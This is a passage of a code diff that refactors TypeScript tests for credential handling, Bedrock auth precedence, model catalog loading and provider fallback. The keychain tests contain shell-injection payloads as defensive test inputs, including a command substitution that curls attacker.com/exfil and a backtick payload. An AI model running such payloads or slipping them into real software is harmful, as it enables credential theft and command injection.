refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
}
|
||||
return "";
|
||||
});
|
||||
mockExistingClaudeKeychainItem();
|
||||
|
||||
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
|
||||
|
||||
@@ -50,12 +63,7 @@ describe("cli credentials", () => {
|
||||
|
||||
// Verify execFileSync was called with array args (no shell interpretation)
|
||||
expect(execFileSyncMock).toHaveBeenCalledTimes(2);
|
||||
const addCall = execFileSyncMock.mock.calls.find(
|
||||
([binary, args]) =>
|
||||
String(binary) === "security" &&
|
||||
Array.isArray(args) &&
|
||||
(args as unknown[]).map(String).includes("add-generic-password"),
|
||||
);
|
||||
const addCall = getAddGenericPasswordCall();
|
||||
expect(addCall?.[0]).toBe("security");
|
||||
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
|
||||
});
|
||||
@@ -63,19 +71,7 @@ describe("cli credentials", () => {
|
||||
it("prevents shell injection via malicious OAuth token values", async () => {
|
||||
const maliciousToken = "x'$(curl attacker.com/exfil)'y";
|
||||
|
||||
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
||||
const argv = Array.isArray(args) ? args.map(String) : [];
|
||||
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
||||
return JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
}
|
||||
return "";
|
||||
});
|
||||
mockExistingClaudeKeychainItem();
|
||||
|
||||
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
|
||||
|
||||
@@ -91,12 +87,7 @@ describe("cli credentials", () => {
|
||||
expect(ok).toBe(true);
|
||||
|
||||
// The -w argument must contain the malicious string literally, not shell-expanded
|
||||
const addCall = execFileSyncMock.mock.calls.find(
|
||||
([binary, args]) =>
|
||||
String(binary) === "security" &&
|
||||
Array.isArray(args) &&
|
||||
(args as unknown[]).map(String).includes("add-generic-password"),
|
||||
);
|
||||
const addCall = getAddGenericPasswordCall();
|
||||
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
||||
const wIndex = args.indexOf("-w");
|
||||
const passwordValue = args[wIndex + 1];
|
||||
@@ -108,19 +99,7 @@ describe("cli credentials", () => {
|
||||
it("prevents shell injection via backtick command substitution in tokens", async () => {
|
||||
const backtickPayload = "token`id`value";
|
||||
|
||||
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
||||
const argv = Array.isArray(args) ? args.map(String) : [];
|
||||
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
||||
return JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
}
|
||||
return "";
|
||||
});
|
||||
mockExistingClaudeKeychainItem();
|
||||
|
||||
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
|
||||
|
||||
@@ -136,12 +115,7 @@ describe("cli credentials", () => {
|
||||
expect(ok).toBe(true);
|
||||
|
||||
// Backtick payload must be passed literally, not interpreted
|
||||
const addCall = execFileSyncMock.mock.calls.find(
|
||||
([binary, args]) =>
|
||||
String(binary) === "security" &&
|
||||
Array.isArray(args) &&
|
||||
(args as unknown[]).map(String).includes("add-generic-password"),
|
||||
);
|
||||
const addCall = getAddGenericPasswordCall();
|
||||
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
||||
const wIndex = args.indexOf("-w");
|
||||
const passwordValue = args[wIndex + 1];
|
||||
|
||||
@@ -14,6 +14,59 @@ const oauthFixture = {
|
||||
accountId: "acct_123",
|
||||
};
|
||||
|
||||
const BEDROCK_PROVIDER_CFG = {
|
||||
models: {
|
||||
providers: {
|
||||
"amazon-bedrock": {
|
||||
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
|
||||
api: "bedrock-converse-stream",
|
||||
auth: "aws-sdk",
|
||||
models: [],
|
||||
},
|
||||
},
|
||||
},
|
||||
} as const;
|
||||
|
||||
function captureBedrockEnv() {
|
||||
return {
|
||||
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
|
||||
access: process.env.AWS_ACCESS_KEY_ID,
|
||||
secret: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
profile: process.env.AWS_PROFILE,
|
||||
};
|
||||
}
|
||||
|
||||
function restoreBedrockEnv(previous: ReturnType<typeof captureBedrockEnv>) {
|
||||
if (previous.bearer === undefined) {
|
||||
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
|
||||
} else {
|
||||
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
|
||||
}
|
||||
if (previous.access === undefined) {
|
||||
delete process.env.AWS_ACCESS_KEY_ID;
|
||||
} else {
|
||||
process.env.AWS_ACCESS_KEY_ID = previous.access;
|
||||
}
|
||||
if (previous.secret === undefined) {
|
||||
delete process.env.AWS_SECRET_ACCESS_KEY;
|
||||
} else {
|
||||
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
|
||||
}
|
||||
if (previous.profile === undefined) {
|
||||
delete process.env.AWS_PROFILE;
|
||||
} else {
|
||||
process.env.AWS_PROFILE = previous.profile;
|
||||
}
|
||||
}
|
||||
|
||||
async function resolveBedrockProvider() {
|
||||
return resolveApiKeyForProvider({
|
||||
provider: "amazon-bedrock",
|
||||
store: { version: 1, profiles: {} },
|
||||
cfg: BEDROCK_PROVIDER_CFG as never,
|
||||
});
|
||||
}
|
||||
|
||||
describe("getApiKeyForModel", () => {
|
||||
it("migrates legacy oauth.json into auth-profiles.json", async () => {
|
||||
const envSnapshot = captureEnv([
|
||||
@@ -258,12 +311,7 @@ describe("getApiKeyForModel", () => {
|
||||
});
|
||||
|
||||
it("prefers Bedrock bearer token over access keys and profile", async () => {
|
||||
const previous = {
|
||||
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
|
||||
access: process.env.AWS_ACCESS_KEY_ID,
|
||||
secret: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
profile: process.env.AWS_PROFILE,
|
||||
};
|
||||
const previous = captureBedrockEnv();
|
||||
|
||||
try {
|
||||
process.env.AWS_BEARER_TOKEN_BEDROCK = "bedrock-token";
|
||||
@@ -271,57 +319,18 @@ describe("getApiKeyForModel", () => {
|
||||
process.env.AWS_SECRET_ACCESS_KEY = "secret-key";
|
||||
process.env.AWS_PROFILE = "profile";
|
||||
|
||||
const resolved = await resolveApiKeyForProvider({
|
||||
provider: "amazon-bedrock",
|
||||
store: { version: 1, profiles: {} },
|
||||
cfg: {
|
||||
models: {
|
||||
providers: {
|
||||
"amazon-bedrock": {
|
||||
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
|
||||
api: "bedrock-converse-stream",
|
||||
auth: "aws-sdk",
|
||||
models: [],
|
||||
},
|
||||
},
|
||||
},
|
||||
} as never,
|
||||
});
|
||||
const resolved = await resolveBedrockProvider();
|
||||
|
||||
expect(resolved.mode).toBe("aws-sdk");
|
||||
expect(resolved.apiKey).toBeUndefined();
|
||||
expect(resolved.source).toContain("AWS_BEARER_TOKEN_BEDROCK");
|
||||
} finally {
|
||||
if (previous.bearer === undefined) {
|
||||
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
|
||||
} else {
|
||||
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
|
||||
}
|
||||
if (previous.access === undefined) {
|
||||
delete process.env.AWS_ACCESS_KEY_ID;
|
||||
} else {
|
||||
process.env.AWS_ACCESS_KEY_ID = previous.access;
|
||||
}
|
||||
if (previous.secret === undefined) {
|
||||
delete process.env.AWS_SECRET_ACCESS_KEY;
|
||||
} else {
|
||||
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
|
||||
}
|
||||
if (previous.profile === undefined) {
|
||||
delete process.env.AWS_PROFILE;
|
||||
} else {
|
||||
process.env.AWS_PROFILE = previous.profile;
|
||||
}
|
||||
restoreBedrockEnv(previous);
|
||||
}
|
||||
});
|
||||
|
||||
it("prefers Bedrock access keys over profile", async () => {
|
||||
const previous = {
|
||||
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
|
||||
access: process.env.AWS_ACCESS_KEY_ID,
|
||||
secret: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
profile: process.env.AWS_PROFILE,
|
||||
};
|
||||
const previous = captureBedrockEnv();
|
||||
|
||||
try {
|
||||
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
|
||||
@@ -329,57 +338,18 @@ describe("getApiKeyForModel", () => {
|
||||
process.env.AWS_SECRET_ACCESS_KEY = "secret-key";
|
||||
process.env.AWS_PROFILE = "profile";
|
||||
|
||||
const resolved = await resolveApiKeyForProvider({
|
||||
provider: "amazon-bedrock",
|
||||
store: { version: 1, profiles: {} },
|
||||
cfg: {
|
||||
models: {
|
||||
providers: {
|
||||
"amazon-bedrock": {
|
||||
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
|
||||
api: "bedrock-converse-stream",
|
||||
auth: "aws-sdk",
|
||||
models: [],
|
||||
},
|
||||
},
|
||||
},
|
||||
} as never,
|
||||
});
|
||||
const resolved = await resolveBedrockProvider();
|
||||
|
||||
expect(resolved.mode).toBe("aws-sdk");
|
||||
expect(resolved.apiKey).toBeUndefined();
|
||||
expect(resolved.source).toContain("AWS_ACCESS_KEY_ID");
|
||||
} finally {
|
||||
if (previous.bearer === undefined) {
|
||||
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
|
||||
} else {
|
||||
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
|
||||
}
|
||||
if (previous.access === undefined) {
|
||||
delete process.env.AWS_ACCESS_KEY_ID;
|
||||
} else {
|
||||
process.env.AWS_ACCESS_KEY_ID = previous.access;
|
||||
}
|
||||
if (previous.secret === undefined) {
|
||||
delete process.env.AWS_SECRET_ACCESS_KEY;
|
||||
} else {
|
||||
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
|
||||
}
|
||||
if (previous.profile === undefined) {
|
||||
delete process.env.AWS_PROFILE;
|
||||
} else {
|
||||
process.env.AWS_PROFILE = previous.profile;
|
||||
}
|
||||
restoreBedrockEnv(previous);
|
||||
}
|
||||
});
|
||||
|
||||
it("uses Bedrock profile when access keys are missing", async () => {
|
||||
const previous = {
|
||||
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
|
||||
access: process.env.AWS_ACCESS_KEY_ID,
|
||||
secret: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
profile: process.env.AWS_PROFILE,
|
||||
};
|
||||
const previous = captureBedrockEnv();
|
||||
|
||||
try {
|
||||
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
|
||||
@@ -387,47 +357,13 @@ describe("getApiKeyForModel", () => {
|
||||
delete process.env.AWS_SECRET_ACCESS_KEY;
|
||||
process.env.AWS_PROFILE = "profile";
|
||||
|
||||
const resolved = await resolveApiKeyForProvider({
|
||||
provider: "amazon-bedrock",
|
||||
store: { version: 1, profiles: {} },
|
||||
cfg: {
|
||||
models: {
|
||||
providers: {
|
||||
"amazon-bedrock": {
|
||||
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
|
||||
api: "bedrock-converse-stream",
|
||||
auth: "aws-sdk",
|
||||
models: [],
|
||||
},
|
||||
},
|
||||
},
|
||||
} as never,
|
||||
});
|
||||
const resolved = await resolveBedrockProvider();
|
||||
|
||||
expect(resolved.mode).toBe("aws-sdk");
|
||||
expect(resolved.apiKey).toBeUndefined();
|
||||
expect(resolved.source).toContain("AWS_PROFILE");
|
||||
} finally {
|
||||
if (previous.bearer === undefined) {
|
||||
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
|
||||
} else {
|
||||
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
|
||||
}
|
||||
if (previous.access === undefined) {
|
||||
delete process.env.AWS_ACCESS_KEY_ID;
|
||||
} else {
|
||||
process.env.AWS_ACCESS_KEY_ID = previous.access;
|
||||
}
|
||||
if (previous.secret === undefined) {
|
||||
delete process.env.AWS_SECRET_ACCESS_KEY;
|
||||
} else {
|
||||
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
|
||||
}
|
||||
if (previous.profile === undefined) {
|
||||
delete process.env.AWS_PROFILE;
|
||||
} else {
|
||||
process.env.AWS_PROFILE = previous.profile;
|
||||
}
|
||||
restoreBedrockEnv(previous);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -1,48 +1,16 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { loadModelCatalog } from "./model-catalog.js";
|
||||
import {
|
||||
__setModelCatalogImportForTest,
|
||||
loadModelCatalog,
|
||||
resetModelCatalogCacheForTest,
|
||||
} from "./model-catalog.js";
|
||||
|
||||
type PiSdkModule = typeof import("./pi-model-discovery.js");
|
||||
|
||||
vi.mock("./models-config.js", () => ({
|
||||
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
|
||||
}));
|
||||
|
||||
vi.mock("./agent-paths.js", () => ({
|
||||
resolveOpenClawAgentDir: () => "/tmp/openclaw",
|
||||
}));
|
||||
installModelCatalogTestHooks,
|
||||
mockCatalogImportFailThenRecover,
|
||||
} from "./model-catalog.test-harness.js";
|
||||
|
||||
describe("loadModelCatalog e2e smoke", () => {
|
||||
beforeEach(() => {
|
||||
resetModelCatalogCacheForTest();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
__setModelCatalogImportForTest();
|
||||
resetModelCatalogCacheForTest();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
installModelCatalogTestHooks();
|
||||
|
||||
it("recovers after an import failure on the next load", async () => {
|
||||
let call = 0;
|
||||
__setModelCatalogImportForTest(async () => {
|
||||
call += 1;
|
||||
if (call === 1) {
|
||||
throw new Error("boom");
|
||||
}
|
||||
return {
|
||||
AuthStorage: class {},
|
||||
ModelRegistry: class {
|
||||
getAll() {
|
||||
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
|
||||
}
|
||||
},
|
||||
} as unknown as PiSdkModule;
|
||||
});
|
||||
mockCatalogImportFailThenRecover();
|
||||
|
||||
const cfg = {} as OpenClawConfig;
|
||||
expect(await loadModelCatalog({ config: cfg })).toEqual([]);
|
||||
|
||||
43
src/agents/model-catalog.test-harness.ts
Normal file
43
src/agents/model-catalog.test-harness.ts
Normal file
@@ -0,0 +1,43 @@
|
||||
import { afterEach, beforeEach, vi } from "vitest";
|
||||
import { __setModelCatalogImportForTest, resetModelCatalogCacheForTest } from "./model-catalog.js";
|
||||
|
||||
export type PiSdkModule = typeof import("./pi-model-discovery.js");
|
||||
|
||||
vi.mock("./models-config.js", () => ({
|
||||
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
|
||||
}));
|
||||
|
||||
vi.mock("./agent-paths.js", () => ({
|
||||
resolveOpenClawAgentDir: () => "/tmp/openclaw",
|
||||
}));
|
||||
|
||||
export function installModelCatalogTestHooks() {
|
||||
beforeEach(() => {
|
||||
resetModelCatalogCacheForTest();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
__setModelCatalogImportForTest();
|
||||
resetModelCatalogCacheForTest();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
}
|
||||
|
||||
export function mockCatalogImportFailThenRecover() {
|
||||
let call = 0;
|
||||
__setModelCatalogImportForTest(async () => {
|
||||
call += 1;
|
||||
if (call === 1) {
|
||||
throw new Error("boom");
|
||||
}
|
||||
return {
|
||||
AuthStorage: class {},
|
||||
ModelRegistry: class {
|
||||
getAll() {
|
||||
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
|
||||
}
|
||||
},
|
||||
} as unknown as PiSdkModule;
|
||||
});
|
||||
return () => call;
|
||||
}
|
||||
@@ -1,50 +1,18 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { __setModelCatalogImportForTest, loadModelCatalog } from "./model-catalog.js";
|
||||
import {
|
||||
__setModelCatalogImportForTest,
|
||||
loadModelCatalog,
|
||||
resetModelCatalogCacheForTest,
|
||||
} from "./model-catalog.js";
|
||||
|
||||
type PiSdkModule = typeof import("./pi-model-discovery.js");
|
||||
|
||||
vi.mock("./models-config.js", () => ({
|
||||
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
|
||||
}));
|
||||
|
||||
vi.mock("./agent-paths.js", () => ({
|
||||
resolveOpenClawAgentDir: () => "/tmp/openclaw",
|
||||
}));
|
||||
installModelCatalogTestHooks,
|
||||
mockCatalogImportFailThenRecover,
|
||||
type PiSdkModule,
|
||||
} from "./model-catalog.test-harness.js";
|
||||
|
||||
describe("loadModelCatalog", () => {
|
||||
beforeEach(() => {
|
||||
resetModelCatalogCacheForTest();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
__setModelCatalogImportForTest();
|
||||
resetModelCatalogCacheForTest();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
installModelCatalogTestHooks();
|
||||
|
||||
it("retries after import failure without poisoning the cache", async () => {
|
||||
const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
|
||||
let call = 0;
|
||||
|
||||
__setModelCatalogImportForTest(async () => {
|
||||
call += 1;
|
||||
if (call === 1) {
|
||||
throw new Error("boom");
|
||||
}
|
||||
return {
|
||||
AuthStorage: class {},
|
||||
ModelRegistry: class {
|
||||
getAll() {
|
||||
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
|
||||
}
|
||||
},
|
||||
} as unknown as PiSdkModule;
|
||||
});
|
||||
const getCallCount = mockCatalogImportFailThenRecover();
|
||||
|
||||
const cfg = {} as OpenClawConfig;
|
||||
const first = await loadModelCatalog({ config: cfg });
|
||||
@@ -52,7 +20,7 @@ describe("loadModelCatalog", () => {
|
||||
|
||||
const second = await loadModelCatalog({ config: cfg });
|
||||
expect(second).toEqual([{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]);
|
||||
expect(call).toBe(2);
|
||||
expect(getCallCount()).toBe(2);
|
||||
expect(warnSpy).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
|
||||
@@ -23,6 +23,27 @@ function makeCfg(overrides: Partial<OpenClawConfig> = {}): OpenClawConfig {
|
||||
} as OpenClawConfig;
|
||||
}
|
||||
|
||||
async function expectFallsBackToHaiku(params: {
|
||||
provider: string;
|
||||
model: string;
|
||||
firstError: Error;
|
||||
}) {
|
||||
const cfg = makeCfg();
|
||||
const run = vi.fn().mockRejectedValueOnce(params.firstError).mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
provider: params.provider,
|
||||
model: params.model,
|
||||
run,
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
}
|
||||
|
||||
describe("runWithModelFallback", () => {
|
||||
it("normalizes openai gpt-5.3 codex to openai-codex before running", async () => {
|
||||
const cfg = makeCfg();
|
||||
@@ -56,111 +77,47 @@ describe("runWithModelFallback", () => {
|
||||
});
|
||||
|
||||
it("falls back on auth errors", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(Object.assign(new Error("nope"), { status: 401 }))
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: Object.assign(new Error("nope"), { status: 401 }),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back on transient HTTP 5xx errors", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(
|
||||
new Error(
|
||||
"521 <!DOCTYPE html><html><head><title>Web server is down</title></head><body>Cloudflare</body></html>",
|
||||
),
|
||||
)
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: new Error(
|
||||
"521 <!DOCTYPE html><html><head><title>Web server is down</title></head><body>Cloudflare</body></html>",
|
||||
),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back on 402 payment required", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(Object.assign(new Error("payment required"), { status: 402 }))
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: Object.assign(new Error("payment required"), { status: 402 }),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back on billing errors", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(
|
||||
new Error(
|
||||
"LLM request rejected: Your credit balance is too low to access the Anthropic API. Please go to Plans & Billing to upgrade or purchase credits.",
|
||||
),
|
||||
)
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: new Error(
|
||||
"LLM request rejected: Your credit balance is too low to access the Anthropic API. Please go to Plans & Billing to upgrade or purchase credits.",
|
||||
),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back on credential validation errors", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(new Error('No credentials found for profile "anthropic:default".'))
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "anthropic",
|
||||
model: "claude-opus-4",
|
||||
run,
|
||||
firstError: new Error('No credentials found for profile "anthropic:default".'),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("skips providers when all profiles are in cooldown", async () => {
|
||||
@@ -408,130 +365,55 @@ describe("runWithModelFallback", () => {
|
||||
});
|
||||
|
||||
it("falls back on missing API key errors", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(new Error("No API key found for profile openai."))
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: new Error("No API key found for profile openai."),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back on lowercase credential errors", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(new Error("no api key found for profile openai"))
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: new Error("no api key found for profile openai"),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back on timeout abort errors", async () => {
|
||||
const cfg = makeCfg();
|
||||
const timeoutCause = Object.assign(new Error("request timed out"), { name: "TimeoutError" });
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(
|
||||
Object.assign(new Error("aborted"), { name: "AbortError", cause: timeoutCause }),
|
||||
)
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: Object.assign(new Error("aborted"), { name: "AbortError", cause: timeoutCause }),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back on abort errors with timeout reasons", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(
|
||||
Object.assign(new Error("aborted"), { name: "AbortError", reason: "deadline exceeded" }),
|
||||
)
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: Object.assign(new Error("aborted"), {
|
||||
name: "AbortError",
|
||||
reason: "deadline exceeded",
|
||||
}),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back when message says aborted but error is a timeout", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(Object.assign(new Error("request aborted"), { code: "ETIMEDOUT" }))
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: Object.assign(new Error("request aborted"), { code: "ETIMEDOUT" }),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("falls back on provider abort errors with request-aborted messages", async () => {
|
||||
const cfg = makeCfg();
|
||||
const run = vi
|
||||
.fn()
|
||||
.mockRejectedValueOnce(
|
||||
Object.assign(new Error("Request was aborted"), { name: "AbortError" }),
|
||||
)
|
||||
.mockResolvedValueOnce("ok");
|
||||
|
||||
const result = await runWithModelFallback({
|
||||
cfg,
|
||||
await expectFallsBackToHaiku({
|
||||
provider: "openai",
|
||||
model: "gpt-4.1-mini",
|
||||
run,
|
||||
firstError: Object.assign(new Error("Request was aborted"), { name: "AbortError" }),
|
||||
});
|
||||
|
||||
expect(result.result).toBe("ok");
|
||||
expect(run).toHaveBeenCalledTimes(2);
|
||||
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
|
||||
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
|
||||
});
|
||||
|
||||
it("does not fall back on user aborts", async () => {
|
||||
|
||||
@@ -335,6 +335,32 @@ function ensureImageInput(model: OpenAIModel): OpenAIModel {
|
||||
};
|
||||
}
|
||||
|
||||
function buildOpenRouterScanResult(params: {
|
||||
entry: OpenRouterModelMeta;
|
||||
isFree: boolean;
|
||||
tool: ProbeResult;
|
||||
image: ProbeResult;
|
||||
}): ModelScanResult {
|
||||
const { entry, isFree } = params;
|
||||
return {
|
||||
id: entry.id,
|
||||
name: entry.name,
|
||||
provider: "openrouter",
